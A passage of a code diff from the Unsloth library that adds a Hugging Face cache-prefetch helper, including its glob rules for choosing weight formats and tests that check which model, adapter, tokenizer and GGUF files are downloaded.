+    assert st["variant"] == "fp16"
+    _, st = capture(weights_at_root = True, use_safetensors = True)
+    assert st["variant"] is None
+
+
+def test_variant_drops_bin_for_sharded_variant_safetensors(monkeypatch):
+    """A sharded variant safetensors is recognized, so its redundant variant .bin is dropped."""
+    _install_fake_model_info(
+        monkeypatch,
+        [
+            "model.fp16-00001-of-00002.safetensors",
+            "model.fp16-00002-of-00002.safetensors",
+            "pytorch_model.fp16-00001-of-00002.bin",
+        ],
+    )
+    ig = U._prefetch_ignore_patterns("org/repo", variant = "fp16", weights_at_root = True)
+    assert "*.bin" in ig
+
+
+def test_tokenizer_only_warms_extra_vocab_files(capture):
+    """tokenizer_only must warm SentencePiece / vocab / processor files, including a named jinja template."""
+    _, st = capture(tokenizer_only = True)
+    allow = st["allow_patterns"]
+    for name in (
+        "spm.model",
+        "normalizer.json",
+        "video_preprocessor_config.json",
+        "tokenizer.model.v3",
+    ):
+        assert name in allow, name
+    sample = [
+        "spm.model",
+        "normalizer.json",
+        "video_preprocessor_config.json",
+        "tokenizer.model.v3",
+        "additional_chat_templates/custom.jinja",
+    ]
+    kept = _filter(sample, allow, st["ignore_patterns"])
+    assert set(kept) == set(sample)
+
+
+def test_format_probe_runs_even_when_config_cached(capture, monkeypatch):
+    """A cached config.json must not skip the weight-format probe; model_info still drops the redundant .bin."""
+    import huggingface_hub
+
+    # Pretend config.json is cached (the AutoConfig side effect); this must not gate the probe.
+    monkeypatch.setattr(
+        huggingface_hub, "try_to_load_from_cache", lambda *a, **k: "/cache/config.json"
+    )
+    _install_fake_model_info(monkeypatch, ["model.safetensors", "pytorch_model.bin"])
+    _, st = capture(weights_at_root = True)
+    ig = st["ignore_patterns"] or []
+    assert "*.bin" in ig
+
+
+def test_optimizer_safetensors_does_not_drop_bin(monkeypatch):
+    """An optimizer.safetensors sidecar must not count as model safetensors, so the real .bin weights are kept."""
+    _install_fake_model_info(monkeypatch, ["pytorch_model.bin", "optimizer.safetensors"])
+    ig = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" not in ig
+
+
+def test_model_safetensors_still_drops_bin(monkeypatch):
+    """Control for the optimizer case: a real model.safetensors next to pytorch_model.bin still drops the .bin."""
+    _install_fake_model_info(
+        monkeypatch, ["model.safetensors", "pytorch_model.bin", "optimizer.safetensors"]
+    )
+    ig = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" in ig
+
+
+def test_whole_multi_component_snapshot_keeps_subdir_bin(monkeypatch):
+    """A whole multi-component snapshot must not drop *.bin (it would strip a subdir module's weight); a root load still does."""
+    _install_fake_model_info(monkeypatch, ["model.safetensors", "1_Dense/pytorch_model.bin"])
+    ig = U._prefetch_ignore_patterns("org/repo", weights_at_root = False)
+    assert "*.bin" not in ig
+    ig_root = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" in ig_root
+
+
+def test_is_model_weight_safetensors_classification():
+    """Real model weights count; adapter / trainer-state sidecars do not."""
+    assert U._is_model_weight_safetensors("model.safetensors") is True
+    assert U._is_model_weight_safetensors("model-00001-of-00002.safetensors") is True
+    assert U._is_model_weight_safetensors("model.safetensors.index.json") is True
+    assert U._is_model_weight_safetensors("consolidated.safetensors") is True
+    assert U._is_model_weight_safetensors("adapter_model.safetensors") is False
+    assert U._is_model_weight_safetensors("optimizer.safetensors") is False
+    assert U._is_model_weight_safetensors("scheduler.safetensors") is False
+    assert U._is_model_weight_safetensors("rng_state_0.safetensors") is False
+
+
+def test_tokenizer_only_warms_slow_sentencepiece_vocab(capture):
+    """tokenizer_only must warm the slow-tokenizer SentencePiece / BPE vocab files AutoTokenizer fetches first."""
+    _, st = capture(tokenizer_only = True)
+    allow = st["allow_patterns"]
+    for name in (
+        "sentencepiece.bpe.model",
+        "source.spm",
+        "target.spm",
+        "bpe.codes",
+        "vocab.bpe",
+        "sentencepiece.model",
+        "vocab-src.json",
+        "vocab-tgt.json",
+    ):
+        assert name in allow, name
+
+
+def test_adapter_safetensors_check_scoped_to_root(monkeypatch):
+    """_adapter_repo_has_safetensors must only count a root adapter_model*.safetensors, not a subdir one."""
+    import huggingface_hub
+
+    class _Sib:
+        def __init__(self, name):
+            self.rfilename = name
+
+    class _Api:
+        def __init__(self, names):
+            self._names = names
+
+        def model_info(self, *a, **k):
+            return type("MI", (), {"siblings": [_Sib(n) for n in self._names]})()
+
+    # Subdir safetensors only -> not reported present.
+    monkeypatch.setattr(
+        huggingface_hub,
+        "HfApi",
+        lambda: _Api(
+            ["adapter_config.json", "adapter_model.bin", "checkpoint-5/adapter_model.safetensors"]
+        ),
+    )
+    assert U._adapter_repo_has_safetensors("org/repo") is False
+    # Root safetensors -> reported present.
+    monkeypatch.setattr(
+        huggingface_hub,
+        "HfApi",
+        lambda: _Api(["adapter_config.json", "adapter_model.safetensors"]),
+    )
+    assert U._adapter_repo_has_safetensors("org/repo") is True
+
+
+def test_gguf_file_warm_keeps_gguf(capture):
+    """A gguf_file load allow-lists that GGUF while not pulling other quants the repo publishes."""
+    _, st = capture(weights_at_root = True, gguf_file = "model-Q4_K_M.gguf")
+    allow = st["allow_patterns"]
+    ig = st["ignore_patterns"]
+    assert allow is not None and "model-Q4_K_M.gguf" in allow
+    sample = [
+        "model-Q4_K_M.gguf",
+        "model-Q8_0.gguf",
+        "config.json",
+        "tokenizer.json",
+    ]
+    kept = _filter(sample, allow, ig)
+    assert "model-Q4_K_M.gguf" in kept
+    assert "config.json" in kept
+    assert "model-Q8_0.gguf" not in kept
+
+
+# ----- Finding Q: adapter weight-format selection -----
+
+
+def test_adapter_only_prefers_safetensors_over_bin(capture, monkeypatch):
+    """A mixed-format adapter repo warms only the safetensors PeftModel reads, not both formats."""
+    _install_fake_model_info(
+        monkeypatch, ["adapter_config.json", "adapter_model.safetensors", "adapter_model.bin"]
+    )
+    _, st = capture(adapter_only = True)
+    ig = st["ignore_patterns"]
+    assert ig is not None and "adapter_model*.bin" in ig
+    kept = _filter(
+        ["adapter_config.json", "adapter_model.safetensors", "adapter_model.bin"],
+        st["allow_patterns"],
+        ig,
+    )
+    assert "adapter_model.safetensors" in kept
+    assert "adapter_model.bin" not in kept
+
+
+def test_adapter_only_bin_only_keeps_bin(capture, monkeypatch):
+    """A .bin-only adapter repo must keep adapter_model.bin (no safetensors found -> both formats eligible)."""
+    _install_fake_model_info(monkeypatch, ["adapter_config.json", "adapter_model.bin"])
+    _, st = capture(adapter_only = True)
+    kept = _filter(
+        ["adapter_config.json", "adapter_model.bin"], st["allow_patterns"], st["ignore_patterns"]
+    )
+    assert "adapter_model.bin" in kept
+
+
+def test_adapter_only_explicit_use_safetensors_false_keeps_bin(capture):
+    """An explicit use_safetensors=False forces the .bin form without a model_info call."""
+    _, st = capture(adapter_only = True, use_safetensors = False)
+    ig = st["ignore_patterns"]
+    assert ig is not None and "adapter_model*.safetensors" in ig
+    kept = _filter(
+        ["adapter_config.json", "adapter_model.safetensors", "adapter_model.bin"],
+        st["allow_patterns"],
+        ig,
+    )
+    assert "adapter_model.bin" in kept
+    assert "adapter_model.safetensors" not in kept
+
+
+def test_gguf_file_with_subfolder_warms_subfolder_path(capture):
+    """gguf_file + subfolder: the warm allow-lists <subfolder>/<gguf_file>, not the bare root name."""
+    _, st = capture(weights_at_root = True, gguf_file = "model-Q4_K_M.gguf", subfolder = "gguf")
+    allow = st["allow_patterns"]
+    assert "gguf/model-Q4_K_M.gguf" in allow
+    kept = _filter(["gguf/model-Q4_K_M.gguf", "config.json"], allow, st["ignore_patterns"])
+    assert "gguf/model-Q4_K_M.gguf" in kept and "config.json" in kept
+
+
+def test_from_tf_root_load_ignores_nested_h5(capture):
+    """A from_tf root load keeps the root .h5 but drops nested .h5 / .msgpack checkpoints."""
+    _, st = capture(weights_at_root = True, from_tf = True)
+    ig = st["ignore_patterns"]
+    assert "*/*.h5" in ig and "*/*.msgpack" in ig
+    kept = _filter(["model.h5", "checkpoint-1/model.h5", "config.json"], st["allow_patterns"], ig)
+    assert "model.h5" in kept
+    assert "checkpoint-1/model.h5" not in kept
+
+
+def test_sentence_transformer_from_pretrained_is_prefetch_wired():
+    """from_pretrained must call maybe_prefetch_hf_snapshot as an unconditional top-level statement before any return."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+    cls = next(
+        n for n in tree.body if isinstance(n, ast.ClassDef) and n.name == "FastSentenceTransformer"
+    )
+    fp = next(n for n in cls.body if isinstance(n, ast.FunctionDef) and n.name == "from_pretrained")
+
+    def _prefetch_call(node):
+        # a bare call statement, or one whose return is captured (e.g. _st_prefetched = ...)
+        value = node.value if isinstance(node, (ast.Expr, ast.Assign)) else None
+        if (
+            isinstance(value, ast.Call)
+            and isinstance(value.func, ast.Name)
+            and value.func.id == "maybe_prefetch_hf_snapshot"
+        ):
+            return value
+        return None
+
+    prefetch_pos = next((i for i, n in enumerate(fp.body) if _prefetch_call(n)), None)
+    return_pos = next((i for i, n in enumerate(fp.body) if isinstance(n, ast.Return)), len(fp.body))
+    assert (
+        prefetch_pos is not None
+    ), "from_pretrained must call maybe_prefetch_hf_snapshot at top level"
+    assert prefetch_pos < return_pos, "prefetch must run before any top-level return"
+    # local_files_only must be forwarded so an offline load does not start a Hub download.
+    prefetch_call = _prefetch_call(fp.body[prefetch_pos])
+    assert "local_files_only" in {
+        kw.arg for kw in prefetch_call.keywords
+    }, "prefetch must forward local_files_only"
+
+
+def test_st_module_download_forwards_cache_folder():
+    """_load_modules must forward the custom cache_folder into load_dir_path so per-module subdirs read the warmed cache."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+    calls = [
+        n
+        for n in ast.walk(tree)
+        if isinstance(n, ast.Call) and isinstance(n.func, ast.Name) and n.func.id == "load_dir_path"
+    ]
+    assert calls, "expected a load_dir_path call in sentence_transformer.py"
+    assert all(
+        "cache_folder" in {kw.arg for kw in c.keywords} for c in calls
+    ), "every load_dir_path call must forward cache_folder"
+
+
+def test_st_native_sentence_transformer_calls_forward_cache_folder():
+    """Every native SentenceTransformer(model_name, ...) load must forward cache_folder; a modules-based build needs none."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+    weight_loading_calls = []
+    for n in ast.walk(tree):
+        if not (
+            isinstance(n, ast.Call)
+            and isinstance(n.func, ast.Name)
+            and n.func.id == "SentenceTransformer"
+        ):
+            continue
+        kw_names = {kw.arg for kw in n.keywords}
+        # A modules-based build downloads nothing; only a repo-name load reads the cache.
+        if "modules" in kw_names:
+            continue
+        weight_loading_calls.append(n)
+    assert (
+        weight_loading_calls
+    ), "expected a repo-name SentenceTransformer load in sentence_transformer.py"
+    # cache_folder is forwarded explicitly or via a **kwargs unpacking (kw.arg == None).
+    for c in weight_loading_calls:
+        kw_names = {kw.arg for kw in c.keywords}
+        forwards = "cache_folder" in kw_names or None in kw_names
+        assert forwards, (
+            "a repo-name SentenceTransformer load must forward cache_folder "
+            f"(explicitly or via **kwargs) at line {c.lineno}"
+        )
diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py
index 047783c35e..260fe36652 100644
--- a/unsloth/models/_utils.py
+++ b/unsloth/models/_utils.py
@@ -83,6 +83,7 @@ __all__ = [
     "verify_fp8_support_if_applicable",
     "_get_inference_mode_context_manager",
     "hf_login",
+    "maybe_prefetch_hf_snapshot",
     "is_moe_model",
     "get_moe_target_parameters",
     "make_fast_generate_wrapper",
@@ -905,6 +906,411 @@ logging.getLogger("transformers.tokenization_utils_base").setLevel(logging.CRITI
 TORCHAO_MSG = "Error: torchao not found, please install with `pip install torchao`"
 
 
+# Artifacts a Transformers/PEFT load never reads (ONNX/TF/Flax/CoreML/GGUF/training state), skipped
+# when prewarming so a mixed-format repo is not pulled in full.
+_PREFETCH_IGNORE_PATTERNS = (
+    "*.onnx",
+    "onnx/*",
+    "*.h5",
+    "*.msgpack",
+    "*.tflite",
+    "coreml/*",
+    "*.mlpackage/*",
+    "*.mlmodel",
+    "*.gguf",
+    # Training / checkpoint formats from_pretrained never reads.
+    "*.pt",
+    "*.pth",
+    "*.ckpt",
+    "optimizer.*",
+    "scheduler.*",
+    "rng_state*",
+    "trainer_state.json",
+    "events.out.tfevents*",
+    "checkpoint-*/*",
+)
+
+
+# Repo-root tokenizer / config / processor files from_pretrained reads from root even when weights
+# load from a subfolder. Exact names (no wildcard) so they match only root-level files.
+_ROOT_AUX_PREFETCH_PATTERNS = (
+    "config.json",
+    "generation_config.json",
+    "tokenizer_config.json",
+    "tokenizer.json",
+    "tokenizer.model",
+    "special_tokens_map.json",
+    "added_tokens.json",
+    "vocab.json",
+    "vocab.txt",
+    "merges.txt",
+    "spiece.model",
+    # More VOCAB_FILES_NAMES the slow tokenizer may fetch (DeBERTa-v2, Whisper, Mistral, XLM-R/mBART, Marian, FSMT/XLM, GPT-2).
+    "spm.model",
+    "normalizer.json",
+    "tokenizer.model.v3",
+    "sentencepiece.bpe.model",
+    "source.spm",
+    "target.spm",
+    "bpe.codes",
+    "vocab.bpe",
+    # More VOCAB_FILES_NAMES (RemBERT, FSMT) a distinct-tokenizer-repo warm must cache too.
+    "sentencepiece.model",
+    "vocab-src.json",
+    "vocab-tgt.json",
+    "chat_template.jinja",
+    "chat_template.json",
+    # chat_template="<name>" fetches additional_chat_templates/<name>.jinja.
+    "additional_chat_templates/*.jinja",
+    "preprocessor_config.json",
+    "processor_config.json",
+    "video_preprocessor_config.json",  # Qwen2.5-VL-style video processors
+    # trust_remote_code auto_map can name any module, so warm every *.py (tiny; none in a non-remote repo).
+    "*.py",
+    "*.tiktoken",  # tiktoken vocab (e.g. Qwen's qwen.tiktoken)
+)
+
+
+# Files a PEFT adapter load reads: config + weights (glob covers sharded adapters). Any merged
+# full-model weights the repo also ships match none of these.
+_ADAPTER_PREFETCH_PATTERNS = (
+    "adapter_config.json",
+    "adapter_model*",
+)
+
+
+# Weight files in a SUBDIRECTORY. A bare root load reads only root weights, so ignoring these drops
+# alternate-precision/experimental dirs (fp16/, experimental/). "*/*" spans "/" (HF fnmatch), so nested
+# weights match while root "model.safetensors" is kept. Only applied when weights_at_root (diffusion
+# keeps weights in subfolders).
+_SUBDIR_WEIGHT_IGNORE_PATTERNS = (
+    "*/*.safetensors",
+    "*/*.bin",
+    "*/*.h5",
+    "*/*.msgpack",
+    "*/*.pt",
+    "*/*.pth",
+)
+
+
+def _in_requested_load_scope(filename, subfolder):
+    """True if *filename* is in the location being loaded (*subfolder*, else root). Scopes the ".bin is
+    redundant when safetensors exist" test so a .bin-only subfolder keeps its .bin."""
+    filename = filename.replace("\\", "/")
+    if isinstance(subfolder, str) and subfolder.strip("/"):
+        return filename.startswith(subfolder.strip("/") + "/")
+    return "/" not in filename  # root load: no directory component
+
+
+# .safetensors training-state files that are NOT model weights (e.g. optimizer.safetensors next to a
+# real pytorch_model.bin); counting them as "model safetensors present" would drop the needed .bin.
+_NON_MODEL_WEIGHT_STEMS = frozenset(
+    {
+        "optimizer",
+        "scheduler",
+        "scaler",
+        "rng_state",
+        "training_args",
+    }
+)
+
+
+def _is_model_weight_safetensors(filename):
+    """True if *filename* is a model-weights safetensors, not a PEFT adapter/sidecar
+    (adapter_model.safetensors) or trainer-state (optimizer.safetensors). Only a real one proves the
+    .bin redundant; counting a sidecar would wrongly drop the needed .bin (fetched then without Xet fallback)."""
+    name = filename.replace("\\", "/").rsplit("/", 1)[-1]
+    if not name.endswith((".safetensors", ".safetensors.index.json")):
+        return False
+    if name.startswith("adapter_"):
+        return False
+    # Stem before first dot: "optimizer.safetensors" -> "optimizer" (real shards kept); rng_state via prefix.
+    stem = name.split(".", 1)[0].lower()
+    if stem in _NON_MODEL_WEIGHT_STEMS or stem.startswith("rng_state"):
+        return False
+    return True
+
+
+def _is_canonical_variant_model_weight_safetensors(filename, variant):
+    """True for a canonical model-weights safetensors carrying the requested *variant*, in the forms
+    transformers reads (single, either numbered-shard layout, or the index). Strict (base must be
+    "model"): a sidecar like consolidated.<variant>.safetensors does not prove the variant .bin redundant."""
+    base = filename.replace("\\", "/").rsplit("/", 1)[-1]
+    v = re.escape(variant)
+    return bool(
+        re.match(
+            rf"^(?:model\.{v}\.safetensors"
+            rf"|model\.{v}-\d{{5}}-of-\d{{5}}\.safetensors"
+            rf"|model-\d{{5}}-of-\d{{5}}\.{v}\.safetensors"
+            rf"|model\.safetensors\.index\.{v}\.json)$",
+            base,
+        )
+    )
+
+
+_CANONICAL_MODEL_WEIGHT_SAFETENSORS_RE = re.compile(
+    r"^(?:model\.safetensors|model-\d{5}-of-\d{5}\.safetensors|model\.safetensors\.index\.json)$"
+)
+
+
+def _is_canonical_model_weight_safetensors(filename):
+    """True for a canonical (non-variant) model-weights safetensors a default load reads (model.safetensors,
+    a numbered shard, or the index). Strict: an unrecognized name keeps both formats, so a variant-only
+    safetensors + pytorch_model.bin repo never has its .bin dropped for a no-variant load."""
+    name = filename.replace("\\", "/").rsplit("/", 1)[-1]
+    return bool(_CANONICAL_MODEL_WEIGHT_SAFETENSORS_RE.match(name))
+
+
+def _adapter_repo_has_safetensors(
+    model_name,
+    *,
+    token = None,
+    revision = None,
+):
+    """Best-effort: does the adapter repo ship a root safetensors adapter weight (making the .bin
+    redundant)? Scoped to root adapter_model* files; any failure returns False."""
+    try:
+        from huggingface_hub import HfApi
+        siblings = HfApi().model_info(model_name, revision = revision, token = token).siblings or []
+        return any(
+            "/" not in sibling.rfilename.replace("\\", "/")  # root only
+            and sibling.rfilename.startswith("adapter_model")
+            and sibling.rfilename.endswith(".safetensors")
+            for sibling in siblings
+        )
+    except Exception:
+        return False
+
+
+def _prefetch_ignore_patterns(
+    model_name,
+    *,
+    token = None,
+    revision = None,
+    subfolder = None,
+    use_safetensors = None,
+    from_tf = False,
+    from_flax = False,
+    variant = None,
+    weights_at_root = False,
+):
+    """ignore_patterns for the prewarm snapshot: the static skip list, minus the checkpoint guard when
+    loading from a checkpoint-* subfolder, minus the weight format the load will not read. use_safetensors
+    is a format allowlist (True -> skip *.bin, False -> skip *.safetensors); auto (None) skips *.bin only
+    when in-scope safetensors are shipped. from_tf/from_flax keep *.h5/*.msgpack.
+
+    Suppressed for a whole multi-component snapshot (weights_at_root=False, no subfolder: ST/diffusers
+    repos with per-subfolder weights, each in its own format), since "*" spans "/" so dropping "*.bin"
+    would strip a module's only weight."""
+    # Keep checkpoint-*/* under a checkpoint-* subfolder; keep *.h5 / *.msgpack under from_tf/flax.
+    ignore_patterns = [
+        pattern
+        for pattern in _PREFETCH_IGNORE_PATTERNS
+        if not (
+            (
+                pattern == "checkpoint-*/*"
+                and isinstance(subfolder, str)
+                and subfolder.startswith("checkpoint-")
+            )
+            or (from_tf and pattern == "*.h5")
+            or (from_flax and pattern == "*.msgpack")
+        )
+    ]
+    # Drop the format the load will not read (the other doubles the download); skipped for a whole
+    # multi-component snapshot (see docstring).
+    whole_multi_component = not weights_at_root and not (
+        isinstance(subfolder, str) and subfolder.strip("/")
+    )
+    if whole_multi_component:
+        pass
+    elif from_tf or from_flax:
+        # TF / Flax loads never read the PyTorch formats; drop safetensors and .bin.
+        ignore_patterns.extend(
+            (
+                "*.safetensors",
+                "*.safetensors.index.json",
+                "*.bin",
+                "*.bin.index.json",
+            )
+        )
+    elif use_safetensors is True:
+        # Explicit safetensors: load never reads .bin (no model_info call needed).
+        ignore_patterns.extend(("*.bin", "*.bin.index.json"))
+    elif use_safetensors is False:
+        # Explicit .bin: load never reads safetensors.
+        ignore_patterns.extend(("*.safetensors", "*.safetensors.index.json"))
+    else:
+        # Auto: skip .bin only once in-scope safetensors are confirmed (best-effort; any failure keeps both).
+        try:
+            from huggingface_hub import HfApi
+
+            siblings = (
+                HfApi()
+                .model_info(
+                    model_name,
+                    revision = revision,
+                    token = token,
+                )
+                .siblings
+                or []
+            )
+            # Count only in-scope model-weights safetensors (not adapters/sidecars): variant-matching if
+            # a variant is requested, else canonical, proving the .bin redundant.
+            has_safetensors = any(
+                _is_model_weight_safetensors(sibling.rfilename)
+                and _in_requested_load_scope(sibling.rfilename, subfolder)
+                and (
+                    _is_canonical_variant_model_weight_safetensors(sibling.rfilename, variant)
+                    if variant
+                    else _is_canonical_model_weight_safetensors(sibling.rfilename)
+                )
+                for sibling in siblings
+            )
+            if has_safetensors:
+                ignore_patterns.extend(("*.bin", "*.bin.index.json"))
+        except Exception:
+            pass
+    return ignore_patterns
+
+
+def maybe_prefetch_hf_snapshot(
+    model_name,
+    token = None,
+    *,
+    revision = None,
+    cache_dir = None,
+    local_files_only = False,
+    fast_inference = False,
+    subfolder = None,
+    force_download = False,
+    use_safetensors = None,
+    from_tf = False,
+    from_flax = False,
+    tokenizer_only = False,
+    adapter_only = False,
+    weights_at_root = False,
+    variant = None,
+    gguf_file = None,
+):
+    """Warm the HF cache for a remote repo before the in-process load.
+
+    Xet can hang on a blob with no progress or exception, and a blocked native Xet thread cannot be
+    killed in-process. So pull the snapshot first in a killable subprocess that falls back Xet -> HTTP
+    on a stall (unsloth_zoo.hf_xet_fallback), making from_pretrained a cache hit.
+
+    Returns True iff warmed (caller can clear force_download), else False (skipped: local/offline/
+    local_files_only/fast_inference/old unsloth_zoo, or failed). Only a both-transports-stalled
+    DownloadStallError is raised; other failures are left for from_pretrained to surface.
+    """
+    try:
+        from unsloth_zoo.hf_xet_fallback import (
+            snapshot_download_with_xet_fallback,
+            DownloadStallError,
+        )
+    except Exception:
+        return False  # older unsloth_zoo without the helper: load normally
+
+    if not isinstance(model_name, str) or not model_name:
+        return False
+    # Local path: nothing to download. Expand ~ first (os.path.exists does not).
+    model_path = os.path.expanduser(model_name)
+    if os.path.isdir(model_path) or os.path.exists(model_path):
+        return False
+    # Looks local but not yet on disk (e.g. an uncreated output dir): not a Hub repo id, so leave it
+    # for from_pretrained rather than download it.
+    if (
+        os.path.isabs(model_path)
+        or model_name.startswith(("~", "./", "../", ".\\", "..\\"))
+        or "\\" in model_name
+    ):
+        return False
+    if local_files_only:  # cache-only: never reach out
+        return False
+    if any(
+        os.environ.get(flag, "0").lower() in ("1", "true", "yes", "on")
+        for flag in ("HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE")
+    ):
+        return False
+    if fast_inference:  # vLLM has its own download path
+        return False
+
+    # tokenizer-only / adapter-only warms allow-list exact files below, so the weight-format ignore
+    # list (and its auto-branch model_info call) is skipped.
+    ignore_patterns = (
+        None
+        if tokenizer_only or adapter_only or gguf_file
+        else _prefetch_ignore_patterns(
+            model_name,
+            token = token,
+            revision = revision,
+            subfolder = subfolder,
+            use_safetensors = use_safetensors,
+            from_tf = from_tf,
+            from_flax = from_flax,
+            variant = variant,
+            weights_at_root = weights_at_root,
+        )
+    )
+    # Narrow the warm to what the load reads (skip extra checkpoints/precisions); every branch still warms
+    # root tokenizer/config/custom-code so those never fall in-process.
+    allow_patterns = None
+    if gguf_file:
+        # gguf_file=NAME reads exactly that GGUF, but the static ignore list drops *.gguf; so warm just
+        # that file (plus root aux), under <subfolder>/ if set.
+        _gguf_path = (
+            f"{subfolder.strip('/')}/{gguf_file}"
+            if isinstance(subfolder, str) and subfolder.strip("/")
+            else gguf_file
+        )
+        allow_patterns = [_gguf_path, *_ROOT_AUX_PREFETCH_PATTERNS]
+    elif tokenizer_only:
+        # A distinct tokenizer repo: warm only tokenizer / config / vocab files, never its weights.
+        allow_patterns = list(_ROOT_AUX_PREFETCH_PATTERNS)
+    elif adapter_only:
+        # A PEFT adapter load reads only adapter_config.json + adapter_model.* (plus root aux), not any
+        # merged weights the repo may also publish.
+        allow_patterns = [*_ADAPTER_PREFETCH_PATTERNS, *_ROOT_AUX_PREFETCH_PATTERNS]
+        # PeftModel reads one format (safetensors when present): explicit use_safetensors wins, else
+        # prefer safetensors when shipped (best-effort; any failure keeps both).
+        if use_safetensors is False:
+            ignore_patterns = [
+                "adapter_model*.safetensors",
+                "adapter_model*.safetensors.index.json",
+            ]
+        elif use_safetensors is True or _adapter_repo_has_safetensors(
+            model_name, token = token, revision = revision
+        ):
+            ignore_patterns = ["adapter_model*.bin", "adapter_model*.bin.index.json"]
+    elif isinstance(subfolder, str) and subfolder.strip("/"):
+        # subfolder=X: load resolves every weight under X/, so warm that subfolder (plus root aux).
+        allow_patterns = [f"{subfolder.strip('/')}/*", *_ROOT_AUX_PREFETCH_PATTERNS]
+    elif weights_at_root:
+        # A bare load reads only root weights: drop subdir weights (fp16/, checkpoint dirs) while keeping
+        # subdir configs. Diffusion leaves weights_at_root False.
+        ignore_patterns = [*(ignore_patterns or []), *_SUBDIR_WEIGHT_IGNORE_PATTERNS]
+    try:
+        snapshot_download_with_xet_fallback(
+            model_name,
+            token = token,
+            revision = revision,
+            cache_dir = cache_dir,
+            allow_patterns = allow_patterns,
+            ignore_patterns = ignore_patterns,
+            force_download = force_download,
+            variant = variant,
+        )
+        return True
+    except DownloadStallError:
+        # Both transports stalled: surface a clear network error, not a silent in-process hang.
+        raise
+    except Exception as exception:
+        logger.warning_once(
+            f"Unsloth: Could not pre-download {model_name} "
+            f"({type(exception).__name__}: {exception}); continuing with the normal load."
+        )
+        return False
+
+
 # Ignore logging messages
 class HideLoggingMessage(logging.Filter):
     __slots__ = ("text",)
diff --git a/unsloth/models/diffusion.py b/unsloth/models/diffusion.py
index 12596b432e..955bf55987 100644
--- a/unsloth/models/diffusion.py
+++ b/unsloth/models/diffusion.py
@@ -24,7 +24,7 @@ import os
 import torch
 from transformers import AutoConfig, AutoProcessor, AutoTokenizer
 
-from ._utils import is_bfloat16_supported
+from ._utils import is_bfloat16_supported, maybe_prefetch_hf_snapshot
 from .llama import logger
 
 __all__ = ["FastDiffusionModel", "DIFFUSION_MODEL_TYPES", "is_diffusion_model_type"]
@@ -79,7 +79,14 @@ def _resolve_diffusion_model_class(config):
     )
 
 
-def _load_diffusion_config(model_name, token, trust_remote_code, revision, local_files_only):
+def _load_diffusion_config(
+    model_name,
+    token,
+    trust_remote_code,
+    revision,
+    local_files_only,
+    cache_dir = None,
+):
     """Load the config, aliasing the legacy ``diffusion_gemma`` model_type to the ``diffusion_gemma4``
     classes current transformers ships. AutoConfig raises on the legacy type; catch that, rewrite the
     type/arch names in-memory, and rebuild."""
@@ -90,6 +97,7 @@ def _load_diffusion_config(model_name, token, trust_remote_code, revision, local
             trust_remote_code = trust_remote_code,
             revision = revision,
             local_files_only = local_files_only,
+            cache_dir = cache_dir,
         )
     except ValueError as e:
         if "diffusion_gemma" not in str(e):
@@ -103,6 +111,7 @@ def _load_diffusion_config(model_name, token, trust_remote_code, revision, local
             token = token,
             revision = revision,
             local_files_only = local_files_only,
+            cache_dir = cache_dir,
         )
         with open(cfg_path, encoding = "utf-8") as f:
             cd = json.load(f)
@@ -152,12 +161,16 @@ class FastDiffusionModel:
                 os.environ.get("HF_HUB_OFFLINE", "0") == "1"
                 or os.environ.get("TRANSFORMERS_OFFLINE", "0") == "1"
             )
+
+        cache_dir = kwargs.get("cache_dir")
+
         config = _load_diffusion_config(
             model_name,
             token,
             trust_remote_code,
             revision,
             local_files_only,
+            cache_dir = cache_dir,
         )
         model_type = getattr(config, "model_type", None)
         if not is_diffusion_model_type(model_type):
@@ -168,6 +181,21 @@ class FastDiffusionModel:
 
         model_cls = _resolve_diffusion_model_class(config)
 
+        # Prefetch the whole repo root so the weight load is a cache hit. No subfolder: the pipeline
+        # loads every component subfolder, so narrowing would leave unet/vae/text_encoder to Xet.
+        maybe_prefetch_hf_snapshot(
+            model_name,
+            token = token,
+            revision = revision,
+            cache_dir = cache_dir,
+            local_files_only = local_files_only,
+            fast_inference = False,
+            force_download = kwargs.get("force_download", False),
+            use_safetensors = kwargs.get("use_safetensors"),
+            # Forward variant (e.g. "fp16") so the warm keeps variant weights.
+            variant = kwargs.get("variant"),
+        )
+
         load_kwargs = dict(
             dtype = dtype,
             device_map = device_map,
@@ -176,7 +204,14 @@ class FastDiffusionModel:
             attn_implementation = attn_implementation,
             revision = revision,
             local_files_only = local_files_only,
+            cache_dir = cache_dir,
         )
+        # Match the load's weight format to the warm (None/auto already matches).
+        if kwargs.get("use_safetensors") is not None:
+            load_kwargs["use_safetensors"] = kwargs["use_safetensors"]
+        # Forward variant to the real load so it reads the warmed variant weights.
+        if kwargs.get("variant") is not None:
+            load_kwargs["variant"] = kwargs["variant"]
 
         # Optional bitsandbytes quant. The MoE experts (3D Parameters) are not nn.Linear so bnb skips
         # them; only attention + dense MLP Linears quantize, lm_head/embeddings stay full precision.
@@ -222,6 +257,7 @@ class FastDiffusionModel:
                 trust_remote_code = trust_remote_code,
                 revision = revision,
                 local_files_only = local_files_only,
+                cache_dir = cache_dir,
             )
         except Exception:
             tokenizer = AutoTokenizer.from_pretrained(
@@ -230,6 +266,7 @@ class FastDiffusionModel:
                 trust_remote_code = trust_remote_code,
                 revision = revision,
                 local_files_only = local_files_only,
+                cache_dir = cache_dir,
             )
 
         return model, tokenizer
diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py
index bb7289dfa8..6bec95b577 100644
--- a/unsloth/models/llama.py
+++ b/unsloth/models/llama.py
@@ -2420,6 +2420,73 @@ class FastLlamaModel:
 
         preferred_attn_impl = resolve_attention_implementation(model_function, model_config)
 
+        # Prefetch the repo (killable child) so the weight load is a cache hit. Runs after the
+        # AutoConfig/model-class check so an unsupported repo fails on its small config fetch. No
